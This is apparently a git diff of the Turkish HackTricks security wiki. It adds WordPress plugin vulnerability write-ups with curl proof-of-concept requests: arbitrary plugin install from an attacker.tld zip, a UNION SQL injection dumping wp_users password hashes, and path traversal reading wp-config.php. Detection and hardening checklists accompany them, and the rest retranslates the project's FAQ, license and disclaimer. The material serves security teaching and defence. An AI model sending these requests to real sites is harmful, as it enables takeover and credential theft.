+- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation + +PoC (şekli eklentiye bağlıdır; sadece örnek amaçlı) +```bash +curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ +-H 'Content-Type: application/json' \ +--data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' +``` +Detection checklist +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation + +Hardening +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows + +--- + +## Kimlik doğrulaması olmayan SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) + +Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization. + +- Parameter: s (search) +- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization +- Impact: database exfiltration (users, hashes), lateral movement + +PoC +```bash +# Replace action with the affected depicter-* handler on the target +curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ +--data-urlencode 'action=depicter_search' \ +--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" +``` +Detection checklist +- Grep ile depicter-* action handlers'ı ve SQL içinde $_GET['s'] veya $_POST['s']'in doğrudan kullanımını arayın +- $wpdb->get_results()/query()'e geçirilen ve s ile birleştirilen özel sorguları gözden geçirin + +Hardening +- $wpdb->prepare() veya wpdb placeholders'larını her zaman kullanın; beklenmeyen metakarakterleri sunucu tarafında reddedin +- s için sıkı bir allowlist ekleyin ve beklenen karakter seti/uzunluğa normalize edin + +--- + +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) + +Bir template parametresinde normalizasyon/sınırlama uygulanmadan saldırgan kontrollü yolların kabul edilmesi, rastgele yerel dosyaların okunmasına izin verir ve includable PHP/log dosyaları çalışma zamanına dahil edilirse bazen kod yürütülmesine yol açabilir. + +- Parameter: __kubio-site-edit-iframe-classic-template +- Flaw: normalizasyon/allowlisting yok; traversal'a izin veriliyor +- Impact: gizli bilgilerin ifşası (wp-config.php), belirli ortamlarda potansiyel RCE (log poisoning, includable PHP) + +PoC – wp-config.php oku +```bash +curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" +``` +Tespit kontrol listesi +- Realpath() ile containment kontrolü olmadan istek yollarını include()/require()/read sink'lerine birleştiren herhangi bir işleyici +- Niyet edilen templates dizininin dışına çıkan traversal desenleri (../) arayın + +Sertleştirme +- İzin verilen (allowlisted) şablonları zorlayın; realpath() ile çözün ve str_starts_with(realpath(file), realpath(allowed_base)) şartını uygulayın +- Girdiyi normalize edin; traversal dizilerini ve mutlak yolları reddedin; sanitize_file_name()'ı yalnızca dosya adları için kullanın (tam yollar için değil) + + +## Kaynaklar - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) @@ -714,5 +853,11 @@ Sunucu `wp-config.php` içeriğini döndürüyor, leaking DB credentials and aut - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/) - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability) +- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/) +- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/) +- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability) +- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability) +- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability) +- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 0a9d9337f..ee5db2a99 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,4 +1,4 @@ -# HackTricks Değerleri ve SSS +# HackTricks Değerleri & SSS {{#include ../banners/hacktricks-training.md}} @@ -7,15 +7,15 @@ > [!TIP] > Bunlar **HackTricks Projesi'nin değerleri**: > -> - Tüm internete **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklara erişim sağlamak. -> - Hacking öğrenme ile ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır. +> - Tüm İnternet için **ÜCRETSİZ** **EĞİTİMSEL hacking** kaynaklarına erişim sağlamak. +> - Hacking öğrenmekle ilgilidir ve öğrenme mümkün olduğunca ücretsiz olmalıdır. > - Bu kitabın amacı kapsamlı bir **eğitim kaynağı** olarak hizmet etmektir. -> - Topluluğun yayınladığı harika **hacking** tekniklerini depolayıp **ORİJİNAL** **YAZARLARA** tüm **krediyi** vermek. -> - **Başkalarının kredilerini almak istemiyoruz**, sadece harika numaraları herkes için depolamak istiyoruz. -> - HackTricks'te ayrıca **kendi araştırmalarımızı** da yazıyoruz. -> - Bazı durumlarda tekniklerin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla detay için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**. -> - Kitaptaki tüm **hacking** tekniklerini **DÜZENLEYEREK** daha **ERİŞİLEBİLİR** hale getirmek. -> - HackTricks ekibi, insanların **daha hızlı öğrenebilmesi** için içeriği sadece düzenlemek amacıyla ücretsiz olarak binlerce saat harcadı. +> - Topluluğun yayınladığı harika **hacking** tekniklerini **DEPOLAMAK** ve **ORİJİNAL** **YAZARLARA** tüm **kredileri** vermek. +> - **Başkalarının kredilerini almak istemiyoruz**, sadece herkes için güzel numaraları depolamak istiyoruz. +> - Ayrıca HackTricks'te **kendi araştırmalarımızı** yazıyoruz. +> - Birkaç durumda, tekniğin önemli kısımlarının **HackTricks'te bir özetini** yazacağız ve daha fazla ayrıntı için **okuyucuyu orijinal gönderiyi ziyaret etmeye teşvik edeceğiz**. +> - Kitaptaki tüm **hacking** tekniklerini **DÜZENLEMEK** ki bu şekilde **DAHA ERİŞİLEBİLİR** olsun +> - HackTricks ekibi içeriği sadece düzenlemek için ücretsiz olarak binlerce saat ayırdı, böylece insanlar **daha hızlı öğrenebilir**
@@ -25,15 +25,15 @@ > > - **Bu kaynaklar için çok teşekkürler, size nasıl teşekkür edebilirim?** -Bu kaynakları bir araya getiren HackTricks ekibine herkese açık bir tweet ile [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek kamuya teşekkür edebilirsiniz.\ -Eğer özellikle minnettar iseniz [**proje için buradan sponsor olabilirsiniz**](https://github.com/sponsors/carlospolop).\ -Ve Github projelerine **yıldız vermeyi unutmayın!** (Linkleri aşağıda bulun.) +Bu kaynakları bir araya getiren HackTricks ekibine kamuya açık olarak bir tweet'te [**@hacktricks_live**](https://twitter.com/hacktricks_live) etiketleyerek teşekkür edebilirsiniz.\ +Eğer özellikle minnettar iseniz [**projeye buradan sponsor olabilirsiniz**](https://github.com/sponsors/carlospolop).\ +Ve Github projelerine **yıldız vermeyi unutmayın!** (Linkleri aşağıda bulabilirsiniz). > [!TIP] > > - **Projeye nasıl katkıda bulunabilirim?** -Kitaplarda bulduğunuz hataları düzeltmek veya toplulukla **yeni ipuçları ve numaralar paylaşmak** için ilgili Github sayfalarına bir **Pull Request** gönderebilirsiniz: +Toplulukla **yeni ipuçları ve numaralar paylaşabilir veya** kitaplarda bulduğunuz hataları düzeltebilirsiniz; bunun için ilgili Github sayfalarına bir **Pull Request** gönderin: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -42,16 +42,16 @@ Github projelerine **yıldız vermeyi unutmayın!** > [!TIP] > -> - **HackTricks'ten bazı içerikleri kopyalayıp bloguma koyabilir miyim?** +> - **HackTricks'ten bazı içerikleri kopyalayıp kendi bloguma koyabilir miyim?** -Evet, yapabilirsiniz, fakat içeriğin alındığı **belirli link(leri) belirtmeyi unutmayın**. +Evet, koyabilirsiniz, ancak içeriğin alındığı belirli link(leri) **belirtmeyi unutmayın**. > [!TIP] > -> - **HackTricks sayfasına nasıl referans verebilirim?** +> - **HackTricks'in bir sayfasını nasıl referans gösterebilirim?** -Bilgiyi aldığınız sayfanın linki göründüğü sürece yeterlidir.\ -Eğer bir bibtex'e ihtiyacınız varsa şöyle bir şey kullanabilirsiniz: +Bilgiyi aldığınız sayfanın link(lerinin) göründüğü sürece yeterlidir.\ +Eğer bir bibtex'e ihtiyacınız varsa şu gibi bir şey kullanabilirsiniz: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Can I copy all HackTricks in my blog?** +> - **HackTricks'in tamamını bloguma kopyalayabilir miyim?** -**Bunu yapmanızı tercih etmem**. Bu **kimseye fayda sağlamayacak** çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz** olarak mevcut. +**Tercih etmem**. Bu **hiç kimseye fayda sağlamayacak**, çünkü tüm **içerik zaten resmi HackTricks kitaplarında ücretsiz olarak kamuya açık**. -Eğer kaybolacağından endişe ediyorsanız, Github'da forklayın ya da indirin; dediğim gibi zaten ücretsiz. +Kayıp olacağından korkuyorsanız, Github'da fork'layın veya indirin; dediğim gibi zaten ücretsiz. > [!WARNING] > -> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** +> - **Neden sponsorlarınız var? HackTricks kitapları ticari amaçlı mı?** -İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat** adadı, tekrar söylüyorum, **ÜCRETSİZ**. +İlk **HackTricks** **değeri**, tüm dünyaya **ÜCRETSİZ** hacking eğitim kaynakları sunmaktır. HackTricks ekibi bu içeriği sunmak için **binlerce saat ayırdı**, yine, **ÜCRETSİZ**. -Eğer HackTricks kitaplarının **ticari amaçlı** olduğunu düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**. +HackTricks kitaplarının **ticari amaçlı** olduğunu düşünüyorsanız **TAMAMEN YANILIYORSUNUZ**. -Sponsorlarımızın olmasının sebebi, tüm içerik ÜCRETSİZ olsa bile topluluğa emeğimizi takdir etme imkânı sunmak istememizdir. Bu nedenle, insanlara HackTricks'e [**Github sponsors**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve ilgili siber güvenlik şirketleri HackTricks'e sponsor olabiliyor ve kitapta bazı reklamlar yer alabiliyor; bu **reklamlar** her zaman görünür ama içeriğe odaklanıldığında öğrenme sürecini **rahatsız etmeyecek** yerlerde konumlandırılır. +Sponsorlarımızın olması, tüm içerik ÜCRETSİZ olsa bile, isteyenlerin **çalışmamızı takdir etme imkanı** sunmasını istememizdendir. Bu nedenle insanlara HackTricks'e [**Github sponsors**](https://github.com/sponsors/carlospolop) üzerinden bağış yapma seçeneği ve **ilgili siber güvenlik şirketlerine** HackTricks'i sponsor etme ve kitapta **bazı reklamlar** bulundurma imkanı sunuyoruz; **reklamlar** her zaman **görünür** olacak şekilde ama içerik odaklanıldığında öğrenme sürecini **rahatsız etmeyecek** yerlere konulur. -HackTricks'i, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla doldurulmuş halde bulamazsınız; çünkü HackTricks ticari amaçlı yapılmadı. +HackTricks'te, HackTricks'ten çok daha az içeriğe sahip diğer bloglarda olduğu gibi rahatsız edici reklamlarla dolu içerik bulamayacaksınız; çünkü HackTricks ticari amaçlı yapılmamıştır. > [!CAUTION] > -> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** +> - **HackTricks'teki bir sayfa blog yazıma dayanıyor ancak referans verilmemişse ne yapmalıyım?** -**Çok özür dileriz. Bu olmamalıydı**. Lütfen Github issues, Twitter, Discord... üzerinden bize ilgili HackTricks sayfasının linkini ve blogunuzun linkini bildirin, **kontrol edip en kısa sürede ekleyeceğiz**. +**Çok üzgünüz. Bu olmamalıydı**. Lütfen ilgili HackTricks sayfasının linkini ve blogunuzun linkini Github issues, Twitter, Discord... üzerinden bize bildirin ve **bunu kontrol edip en kısa sürede ekleyeceğiz**. > [!CAUTION] > -> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** +> - **HackTricks'te blogumdan içerik varsa ve bunu orada istemiyorsam ne yapmalıyım?** -HackTricks'te sayfanıza verilen linklerin: +HackTricks'te sayfanıza bağlantı bulunmasının şunları sağladığını unutmayın: -- SEO'nuzu **iyileştirdiğini** -- İçeriğin **15'ten fazla dile** çevrildiğini ve böylece daha fazla kişinin bu içeriğe erişmesinin mümkün olduğunu -- **HackTricks'in** insanları sayfanızı **kontrol etmeye teşvik ettiğini** (bazı kişiler bize, sayfaları HackTricks'te yer aldıktan sonra daha fazla ziyaret aldıklarını bildirdi) +- **SEO**'nuzu iyileştirir +- İçerik **15'ten fazla dile çevrilir**, böylece daha fazla kişinin bu içeriğe erişmesi mümkün olur +- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (bazı kişiler bize sayfaları HackTricks'te yer aldığından beri daha fazla ziyaret aldıklarını bildirdi) -lütfen unutmayın. - -Yine de blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; blogunuza yapılan tüm linkleri ve ondan türetilen tüm içeriği kesinlikle **kaldıracağız**. +Ancak hâlâ blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız bize bildirin; kesinlikle **blogunuza ait tüm bağlantıları** ve buna dayanan herhangi bir içeriği kaldıracağız. > [!CAUTION] > -> - **What should I do if I find copy-pasted content in HackTricks?** +> - **HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?** -Her zaman **orijinal yazarlara tüm krediyi veririz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin; içeriği ya **kaldıracağız**, ya **metinden önce linki ekleyeceğiz**, ya da **linki ekleyerek yeniden yazacağız**. +Her zaman **orijinal yazarlara tüm kredileri veririz**. Orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız bize bildirin; biz ya **kaldıracağız**, ya **metinden önce linki ekleyeceğiz**, ya da **linki ekleyerek yeniden yazacağız**. ## LICENSE -Copyright © Aksi belirtilmediği sürece tüm hakları saklıdır. +Telif Hakkı © aksi belirtilmedikçe Tüm Hakları Saklıdır. -#### License Summary: +#### Lisans Özeti: -- Attribution: You are free to: -- Share — copy and redistribute the material in any medium or format. -- Adapt — remix, transform, and build upon the material. +- Atıf: Şunları yapma özgürlüğünüz var: +- Paylaş — materyali herhangi bir ortamda veya formatta kopyalayın ve dağıtın. +- Uyarlama — materyali yeniden karıştırın, dönüştürün ve üzerine inşa edin. -#### Additional Terms: +#### Ek Koşullar: -- Third-Party Content: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alınmış alıntılar gibi üçüncü taraf içerikler içerebilir. Bu tür içeriklerin kullanımı adil kullanım ilkelerine göre veya ilgili telif hakkı sahiplerinden alınmış açık izinlerle yapılmaktadır. Üçüncü taraf içeriklerle ilgili özel lisans bilgileri için lütfen orijinal kaynaklara başvurun. -- Authorship: HackTricks tarafından oluşturulan orijinal içerik bu lisansın koşullarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilir. +- Üçüncü Taraf İçerik: Bu blog/kitabın bazı bölümleri, diğer bloglardan veya yayınlardan alıntılar gibi, başka kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izin alınarak yapılır. Üçüncü taraf içeriklere ilişkin belirli lisans bilgileri için lütfen orijinal kaynaklara bakın. +- Yazarlık: HackTricks tarafından oluşturulan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilir. -#### Exemptions: +#### Muafiyetler: -- Commercial Use: Bu içeriğin ticari kullanımı ile ilgili sorular için lütfen benimle iletişime geçin. +- Ticari Kullanım: Bu içeriğin ticari kullanımıyla ilgili sorular için lütfen benimle iletişime geçin. -Bu lisans, içerikle ilgili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalamalar ilgili sahiplerinin mülkiyetindedir. +Bu lisans, içerikle ilişkili herhangi bir ticari marka veya markalama hakkı vermez. Bu blog/kitapta yer alan tüm ticari markalar ve markalama, ilgili sahiplerinin mülkiyetindedir. -**HackTricks'e erişerek veya HackTricks'i kullanarak, bu lisansın şartlarına uymayı kabul etmiş olursunuz. Bu şartları kabul etmiyorsanız, lütfen bu web sitesine erişmeyin.** +**HackTricks'e erişerek veya kullanarak, bu lisansın hükümlerine uymayı kabul edersiniz. Bu hükümlere katılmıyorsanız lütfen bu web sitesine erişmeyin.** -## **Sorumluluk Reddi** +## **Disclaimer** > [!CAUTION] -> Bu kitap, 'HackTricks', yalnızca eğitimsel ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik "olduğu gibi" sağlanmaktadır ve yazarlar ile yayıncılar, burada yer alan bilgilerin, ürünlerin, hizmetlerin veya ilişkili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği konusunda açık ya da zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere dayanmanız tamamen kendi sorumluluğunuzdadır. +> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitaptaki içerik 'olduğu gibi' sağlanır ve yazarlar ile yayıncılar, içerikte bulunan bilgi, ürün, hizmet veya ilgili grafiklerin eksiksizliği, doğruluğu, güvenilirliği, uygunluğu veya bulunabilirliği konusunda açık veya zımni hiçbir beyan veya garanti vermezler. Bu tür bilgilere olan güveniniz tamamen kendi sorumluluğunuzdadır. > -> Yazarlar ve yayıncılar, bu kitabın kullanımıyla bağlantılı olarak ortaya çıkabilecek veri veya kâr kaybı da dahil olmak üzere dolaylı veya sonuçsal zararlar da dahil hiçbir durumda sorumlu tutulamazlar. +> Yazarlar ve yayıncılar hiçbir koşulda, dolaylı veya sonuç olarak ortaya çıkan zararlar da dahil olmak üzere herhangi bir kayıp veya zarardan veya veri kaybı ya da kar kaybı nedeniyle bu kitabın kullanımıyla bağlantılı olarak doğan veya bağlantılı olan herhangi bir kayıp veya zarardan sorumlu tutulamazlar. > -> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları sadece eğitim ve bilgilendirme amaçlıdır ve hiçbir şekilde yasa dışı veya kötü niyetli faaliyetler için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasa dışı veya etik dışı faaliyeti desteklemez veya teşvik etmez; bu kitaptaki bilgilerin kullanımı kullanıcının kendi riski ve takdirindedir. +> Ayrıca, bu kitapta tarif edilen teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasadışı veya kötü niyetli faaliyet için kullanılmamalıdır. Yazarlar ve yayıncılar herhangi bir yasadışı veya etik dışı faaliyeti tasvip etmez veya desteklemez ve bu kitaptaki bilgilerin herhangi bir şekilde kullanımı kullanıcının kendi riski ve takdirindedir. > -> Kullanıcı, bu kitaptaki bilgilere dayanarak alınan herhangi bir işlemden münhasıran sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışmadan önce her zaman profesyonel tavsiye ve yardım aramalıdır. +> Kullanıcı, bu kitaptaki bilgilere dayanarak yapılan herhangi bir eylemden münhasıran sorumludur ve burada anlatılan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım aramalıdır. > -> Bu kitabı kullanarak, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanımı sonucunda meydana gelebilecek herhangi bir zarar, kayıp veya zarardan feragat etmeyi kabul eder. +> Bu kitabı kullanarak, kullanıcı yazarları ve yayıncıları bu kitabın veya içindeki bilgilerin kullanımı sonucu ortaya çıkabilecek herhangi bir zarar, kayıp veya zarardan doğan her türlü sorumluluktan feragat etmeyi kabul eder. {{#include ../banners/hacktricks-training.md}}